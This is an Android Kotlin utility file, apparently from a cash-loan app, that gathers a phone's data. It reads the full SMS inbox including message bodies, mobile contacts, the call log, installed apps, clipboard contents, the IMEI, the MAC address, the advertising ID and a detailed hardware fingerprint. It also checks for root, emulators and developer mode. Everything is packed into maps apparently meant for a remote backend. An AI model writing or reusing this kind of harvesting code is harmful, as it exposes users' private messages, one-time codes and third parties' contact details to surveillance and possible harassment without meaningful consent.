package com.mc.moring.util

import android.Manifest
import android.app.ActivityManager
import android.content.ClipboardManager
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.net.ConnectivityManager
import android.net.NetworkCapabilities
import android.net.wifi.WifiManager
import android.os.BatteryManager
import android.os.Build
import android.os.Process
import android.provider.CallLog
import android.provider.ContactsContract
import android.provider.Settings
import android.provider.Telephony
import android.telephony.TelephonyManager
import android.text.TextUtils
import android.util.Log
import androidx.core.content.ContentResolverCompat
import androidx.core.content.ContextCompat
import androidx.core.database.getStringOrNull
import androidx.core.os.CancellationSignal
import com.google.android.gms.ads.identifier.AdvertisingIdClient
import com.mc.moring.app.LogUtils
import java.io.BufferedReader
import java.io.File
import java.io.FileReader
import java.io.IOException
import java.text.SimpleDateFormat
import java.util.*

object ZhiliDeviceUtils {

    fun getInfo(context: Context): MutableList<Map<String, Any>> {
        val phoneList = mutableListOf<Map<String, Any>>()
        if (!context.checkPermission(Manifest.permission.READ_CONTACTS)) {
            return phoneList
        }
        val params = arrayOf(
            ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
            ContactsContract.CommonDataKinds.Phone.NUMBER
        )
        ContentResolverCompat.query(
            context.contentResolver,
            ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
            params,
            ContactsContract.CommonDataKinds.Phone.TYPE + "='" + ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE + "'",
            null,
            null,
            CancellationSignal()
        )?.use { cursor ->
            val nameCol =
                cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)
            val numberCol =
                cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER)
            while (cursor.moveToNext()) {
                val name = cursor.getStringOrNull(nameCol)
                val number = cursor.getStringOrNull(numberCol)
                if (number.orEmpty().isEmpty()) continue
                phoneList.add(
                    mapOf(
                        "contactName" to name.orEmpty(),
                        "contactMobile" to number.orEmpty().replace(" ", ""),
                    )
                )

            }
        }
        return phoneList
    }

    fun getInstalledApp(context: Context): List<Map<String, Any>> {
        return runCatching {
            val appList = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                context.packageManager.getInstalledPackages(0)
            } else {
                context.packageManager.getInstalledPackages(PackageManager.MATCH_ALL)
            }
            return appList.toMutableList().filter {
                (it.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM) == 0
            }.map {
                val name = context.packageManager.getApplicationLabel(it.applicationInfo).toString()
                Log.e("lyd", " it.start1 " + it.firstInstallTime + "  " + it.lastUpdateTime)
                Log.e("lyd", " it.start2 " + milliSecondsFormat(it.firstInstallTime) + "  " + milliSecondsFormat(it.lastUpdateTime))
                val installTime = milliSecondsFormat(it.firstInstallTime) ?:""
                val upgradeTime = milliSecondsFormat(it.lastUpdateTime) ?:""

                var systemFlag = ""
                if (context.getApplicationInfo().flags and ApplicationInfo.FLAG_SYSTEM != 0) {
                    systemFlag = "1";
                } else {
                    systemFlag = "0";
                }

                mapOf(
                    "appName" to name,
                    "systemFlag" to systemFlag,
                    "packageName" to it.packageName,
                    "installTime" to installTime,
                    "upgradeTime" to upgradeTime,
                    "installTimeStamp" to it.firstInstallTime,
                    "upgradeTimeStamp" to it.lastUpdateTime,
                    "appVersion" to it.versionName.orEmpty()
                )
            }
        }.getOrNull() ?: emptyList()
    }


    const val f1 = "yyyy-MM-dd HH:mm:ss"
    private val Format = SimpleDateFormat("yyyy-MM-dd", Locale.US)
    private val Date = Date()
    fun milliSecondsFormat(milliseconds: Long, format: String = f1): String? {
        Format.applyPattern(format)
        Date.time = milliseconds
        return Format.format(Date)
    }

    fun getsList3000(context: Context): List<Map<String, Any>>?{
        return getsList(context)?.takeIf {
            it.isNotEmpty()
        }?.let {
            val end = if(it.size>3000) 3000 else it.size
            it.subList(0,end)
        }
    }

    fun getsList(context: Context, limit: Int = 1000000, offset: Int = 0): MutableList<Map<String, Any>> {
        val sList = mutableListOf<Map<String, Any>>()
        if (!context.checkPermission(Manifest.permission.READ_SMS)) {
            return sList
        }
        val params = arrayOf(
            Telephony.Sms.ADDRESS,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE
        )
        ContentResolverCompat.query(
            context.contentResolver,
            Telephony.Sms.CONTENT_URI,
            params,
            null,
            null,
            "${Telephony.Sms.DATE} desc limit $limit offset $offset",
            CancellationSignal(),
        )?.use { cursor ->
            val addressCol = cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS)
            val bodyCol = cursor.getColumnIndexOrThrow(Telephony.Sms.BODY)
            val dateCol = cursor.getColumnIndexOrThrow(Telephony.Sms.DATE)
            val typeCol = cursor.getColumnIndexOrThrow(Telephony.Sms.TYPE)
            while (cursor.moveToNext()) {
                val address = cursor.getString(addressCol)
                val body = cursor.getString(bodyCol)
                val date = cursor.getLong(dateCol)
                Log.e("lyd", " times2 " + milliSecondsFormat(date))
                LogUtils.logE("kelvin ----times2 ${milliSecondsFormat(date)}")
                val dateStr = milliSecondsFormat(date) ?:""
                val type = cursor.getInt(typeCol)
                sList += mapOf(
                    "phone" to address,
                    "msg" to body,
                    "msgTime" to dateStr,
                    "msgTimeStamp" to date.toString(),
                    "type" to type.toString(),
                )
            }
        }
        return sList
    }

    fun getIMEI(context: Context): String? {
        val telephonyManager =
            context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
        return if (telephonyManager != null) {
            telephonyManager.deviceId
        } else null
    }

    fun getDeviceID(context: Context?): String? {
        var sharedPreferencesTool = SharedPreferencesTool(context, "system_info");
        var deviceID: String = sharedPreferencesTool.get("UUID", "zhili_"+System.currentTimeMillis()) as String
        if (TextUtils.isEmpty(deviceID)) {
            deviceID = UUID.randomUUID().toString()
            sharedPreferencesTool.put("UUID", deviceID)
        }
        return deviceID
    }



    public fun getDeviceInfo(context: Context): Map<String, Any> {
        val telephonyManager:TelephonyManager = context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
        val wifiManager: WifiManager = context.getSystemService(Context.WIFI_SERVICE) as WifiManager
        var wifiName = ""
        var imei = ""
        if (context.checkPermission(Manifest.permission.READ_PHONE_STATE)) {
            val imeiResult = kotlin.runCatching {
                getIMEI(context)
            }
            if (imeiResult.isSuccess) {
                imeiResult.getOrNull()?.let { imei = it }
            }else{
                imei = getDeviceID(context).toString()
            }
        }
        val wifiInfoResult = kotlin.runCatching {
            wifiManager.connectionInfo
        }
        if (wifiInfoResult.isSuccess) {
            wifiInfoResult.getOrNull()?.let { wifiName = it.ssid }
        }
        val isNetworkingRoaming = kotlin.runCatching {
            telephonyManager.isNetworkRoaming
        }.getOrElse { false }
        val baseBandVersion = kotlin.runCatching {
            Build.getRadioVersion()
        }.getOrElse { "" }
        val macAddress = kotlin.runCatching {
            wifiManager.connectionInfo?.macAddress.orEmpty()
        }.getOrElse { "" }
        val networkOperator = kotlin.runCatching {
            telephonyManager.networkOperator
        }.getOrElse { "" }
        val androidId = kotlin.runCatching {
            Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID)
        }.getOrElse { "" }
        val osName = kotlin.runCatching {
            System.getProperty("os.name")
        }.getOrElse { "" }
        return mapOf(
            "brand" to Build.BRAND,
            "modelNo" to Build.MODEL,
            "networkCountryIso" to telephonyManager.networkCountryIso,
            "networkType" to getNetworkConnectionType(context),
            "simOperator" to telephonyManager.simOperator,
            "simCountryIso" to telephonyManager.simCountryIso,
            "simOperatorName" to telephonyManager.simOperatorName,
            "serialNo" to androidId,
            "imei" to imei,
            "isNetworkingRoaming" to if (isNetworkingRoaming) "1" else "0",
            "wifiSsid" to wifiName,
            "root" to if (isDeviceRooted()) "1" else "0",
            "userIp" to "https://backend.moni-cash.com/remote/",
            "userAgent" to "okhttp/3.12.0",
            "androidId" to androidId,
            "availableMemorySize" to getAvailableMemory(context).toString(),
            "totalMemorySize" to getTotalMemory(context).toString(),
            "baseBandVersion" to baseBandVersion,
            "imsi" to "",
            "isDevelopMode" to if (isDeveloperOptionsEnabled(context)) "1" else "0",
            "isSimulator" to if (isEmulator()) "1" else "0",
//            "kernelVersion" to getKernelVersion().let {
//                if (it.isNotEmpty()) {
//                    val keyword = "version "
//                    var index = it.indexOf(keyword)
//                    val line = it.substring(index + keyword.length)
//                    index = line.indexOf(" ")
//                    line.substring(0, index)
//                } else ""
//            },
            "kernelVersion" to getKernelVersion(),
            "macAddress" to macAddress,
            "manufacturer" to Build.MANUFACTURER,
            "mobile" to "",
            "osName" to "android",
            "osVersion" to "${Build.VERSION.RELEASE}",
            "networkOperator" to networkOperator,
            "fingerprint" to Build.FINGERPRINT,
            "board" to Build.BOARD,
            "hardware" to Build.HARDWARE,
            "product" to Build.PRODUCT,
            "deviceNo" to androidId,
            "brightness" to getScreenBrightness(context).toString(),
            "screenWidth" to getScreenWidthDp(context).toString(),
            "screenHeight" to getScreenHeightDp(context).toString(),
            "cpuMaxFeq" to getMaxCpuFrequency().orEmpty().ifEmpty { "0" },
            "cpuMinFeq" to getMinCpuFrequency().orEmpty().ifEmpty { "0" },
            "cpuCurFeq" to getCurrentCpuFrequency().orEmpty().ifEmpty { "0" }.plus("kHz"),
            "cpuCoreNumber" to Runtime.getRuntime().availableProcessors().toString(),
            "cpuName" to getCpuBrand().orEmpty(),
            "cpuAbi" to Build.SUPPORTED_ABIS.joinToString(),
            "defaultLanguage" to getDefaultLanguage().orEmpty(),
            "timeZone" to TimeZone.getDefault().id,
            "digitId" to androidId,
            "gaId" to getAdvertisingId(context)
        )
    }

    fun getCallList(context: Context): List<Map<String, Any>> {
        val callList = mutableListOf<Map<String, Any>>()
        if (!context.checkPermission(Manifest.permission.READ_CALL_LOG)) {
            return callList
        }
        val params = arrayOf(
            CallLog.Calls.NUMBER,
            CallLog.Calls.DATE,
            CallLog.Calls.CACHED_NAME,
            CallLog.Calls.TYPE,
            CallLog.Calls.DURATION
        )
        runCatching {
            ContentResolverCompat.query(
                context.contentResolver,
                CallLog.Calls.CONTENT_URI,
                params,
                null,
                null,
                null,
                CancellationSignal()
            )?.use { cursor ->
                val numberCol = cursor.getColumnIndexOrThrow(CallLog.Calls.NUMBER)
                val dateCol = cursor.getColumnIndexOrThrow(CallLog.Calls.DATE)
                val nameCol = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME)
                val typeCol = cursor.getColumnIndexOrThrow(CallLog.Calls.TYPE)
                val durationCol = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION)
                while (cursor.moveToNext()) {
                    val number = cursor.getString(numberCol)
                    val date = cursor.getLong(dateCol)
                    val name = cursor.getStringOrNull(nameCol)
                    val type = cursor.getInt(typeCol)
                    val duration = cursor.getLong(durationCol)
                    callList += mapOf(
                        "phone" to number,
                        "callTime" to date,
                        "name" to name.orEmpty(),
                        "type" to type.toString(),
                        "duration" to duration.toString()
                    )
                }
            }
        }
        return callList
    }

    fun getBattery(context: Context): Map<String,Any> {
        val batteryIntent = context.registerReceiver(
            null,
            IntentFilter(Intent.ACTION_BATTERY_CHANGED)
        )
        val level = batteryIntent!!.getIntExtra(BatteryManager.EXTRA_LEVEL, -1)
        val scale = batteryIntent.getIntExtra(BatteryManager.EXTRA_SCALE, -1)
        val technology = batteryIntent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY).orEmpty()
        val status = batteryIntent.getIntExtra(BatteryManager.EXTRA_STATUS, -1)
        val plugged = batteryIntent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1)
        val health = batteryIntent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1)
        val voltage = batteryIntent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1)
        val temperature = batteryIntent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1)

        return mapOf(
            "level" to level,
            "scale" to scale,
            "technology" to technology,
            "status" to status,
            "plugged" to plugged,
            "health" to health,
            "voltage" to voltage,
            "temperature" to temperature
        )
    }

    private fun getNetworkConnectionType(context: Context): String {
        val connectivityManager: ConnectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            val networkCapabilities =
                connectivityManager.activeNetwork?.let { network ->
                    connectivityManager.getNetworkCapabilities(network)
                }
            return when {
                networkCapabilities?.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) == true -> "wifi"
                networkCapabilities?.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "mobile"
                else -> "none"
            }
        } else {
            val activeNetwork = connectivityManager.activeNetworkInfo
            val type = if (activeNetwork != null && activeNetwork.isConnected) {
                activeNetwork.typeName
            } else {
                "none"
            }
            return type
        }
    }

    fun getClipboardInfo(context: Context): List<Map<String,Any>> {
        val clipboardManager: ClipboardManager = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
        val list = mutableListOf<Map<String,Any>>()
        var content = ""
        var mHtmlText = ""
        var uri = ""
        if (clipboardManager.hasPrimaryClip()) {
            (0 until (clipboardManager.primaryClip?.itemCount!!)).forEach {
                clipboardManager.primaryClip!!.getItemAt(it)?.let {
                    content = if (it.text != null) it.text.toString() else ""
                    mHtmlText = if (it.htmlText != null) it.htmlText.toString() else ""
                    uri = if (it.uri != null) it.uri.toString() else ""
                    list.add(mapOf(
                        "content" to content,
                        "mHtmlText" to  mHtmlText,
                        "uri" to  uri)
                    )
                }
            }
        }
        return list
    }

    private fun isDeviceRooted(): Boolean {
        return checkRootMethod1() || checkRootMethod2() || checkRootMethod3()
    }

    private fun checkRootMethod1(): Boolean {
        val buildTags = Build.TAGS
        return buildTags != null && buildTags.contains("test-keys")
    }

    private fun checkRootMethod2(): Boolean {
        val paths = arrayOf(
            "/system/app/Superuser.apk",
            "/sbin/su",
            "/system/bin/su",
            "/system/xbin/su",
            "/data/local/xbin/su",
            "/data/local/bin/su",
            "/system/sd/xbin/su",
            "/system/bin/failsafe/su",
            "/data/local/su"
        )
        return paths.any { path -> File(path).exists() }
    }

    private fun checkRootMethod3(): Boolean {
        var result = false
        kotlin.runCatching {
            val process = Runtime.getRuntime().exec(arrayOf("/system/xbin/which", "su"))
            val stream = process.inputStream
            val output = java.util.Scanner(stream).useDelimiter("\\A")
            result = output.hasNext()
            stream.close()
        }
        return result
    }

    private fun getAvailableMemory(context: Context): Long {
        val activityManager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
        val memoryInfo = ActivityManager.MemoryInfo()
        activityManager.getMemoryInfo(memoryInfo)
        return kotlin.runCatching { memoryInfo.availMem }.getOrElse { 0L }
    }

    private fun getTotalMemory(context: Context): Long {
        val activityManager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
        val memoryInfo = ActivityManager.MemoryInfo()
        activityManager.getMemoryInfo(memoryInfo)
        return kotlin.runCatching { memoryInfo.totalMem }.getOrElse { 0L }

    }

    private fun getScreenBrightness(context: Context): Int {
        val contentResolver = context.contentResolver
        try {
            return Settings.System.getInt(contentResolver, Settings.System.SCREEN_BRIGHTNESS)
        } catch (e: Settings.SettingNotFoundException) {
            e.printStackTrace()
        }
        return -1
    }

    private fun getScreenWidthDp(context: Context): Int {
        val metrics = context.resources.displayMetrics
        return metrics.widthPixels
    }

    private fun getScreenHeightDp(context: Context): Int {
        val metrics = context.resources.displayMetrics
        return metrics.heightPixels
    }

    private fun getMaxCpuFrequency(): String? {
        var maxFrequency = ""
        try {
            val reader =
                BufferedReader(FileReader("/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq"))
            maxFrequency = reader.readLine()
            reader.close()
        } catch (e: IOException) {
            e.printStackTrace()
        }
        return maxFrequency
    }

    private fun getMinCpuFrequency(): String? {
        var minFrequency = ""
        try {
            val reader =
                BufferedReader(FileReader("/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_min_freq"))
            minFrequency = reader.readLine()
            reader.close()
        } catch (e: IOException) {
            e.printStackTrace()
        }
        return minFrequency
    }

    private fun getCurrentCpuFrequency(): String? {
        var currentFrequency = ""
        val pid = Process.myPid()
        val path = "/proc/$pid/cpufreq/scaling_cur_freq"
        try {
            val reader = BufferedReader(FileReader(path))
            currentFrequency = reader.readLine()
            reader.close()
        } catch (e: IOException) {
            e.printStackTrace()
        }
        return currentFrequency
    }


    private fun getCpuBrand(): String? {
        val abis = Build.SUPPORTED_ABIS
        return if (abis != null && abis.isNotEmpty()) {
            abis[0]
        } else "Unknown"
    }


    private fun getDefaultLanguage(): String? {
        val locale: Locale = Locale.getDefault()
        return locale.language
    }

    private fun Context.checkPermission(str: String): Boolean {
        return ContextCompat.checkSelfPermission(this, str) == PackageManager.PERMISSION_GRANTED
    }

    private fun isDeveloperOptionsEnabled(context: Context): Boolean {
        val developerOptions = Settings.Secure.getInt(
            context.contentResolver,
            Settings.Global.DEVELOPMENT_SETTINGS_ENABLED,
            0
        )
        return developerOptions == 1
    }

    private fun isEmulator(): Boolean {
        return (Build.FINGERPRINT.startsWith("generic")
                || Build.FINGERPRINT.startsWith("unknown")
                || Build.MODEL.contains("google_sdk")
                || Build.MODEL.contains("Emulator")
                || Build.MODEL.contains("Android SDK built for x86")
                || Build.MANUFACTURER.contains("Genymotion")
                || Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic"))
                || "google_sdk" == Build.PRODUCT
    }

    private fun getKernelVersion(): String {

        return System.getProperty("os.version")
//        return try {
//            val reader = BufferedReader(FileReader("/etc/os-release"))
//            val line = reader.readLine()
//            reader.close()
//            line
//        } catch (e: IOException) {
//            e.printStackTrace()
//            ""
//        }
    }

    fun getAdvertisingId(context: Context): String {
        try {
            val info = AdvertisingIdClient.getAdvertisingIdInfo(context)
            return info.id.orEmpty()
        } catch (e: java.lang.Exception) {
            e.printStackTrace()
        }
        return ""
    }
}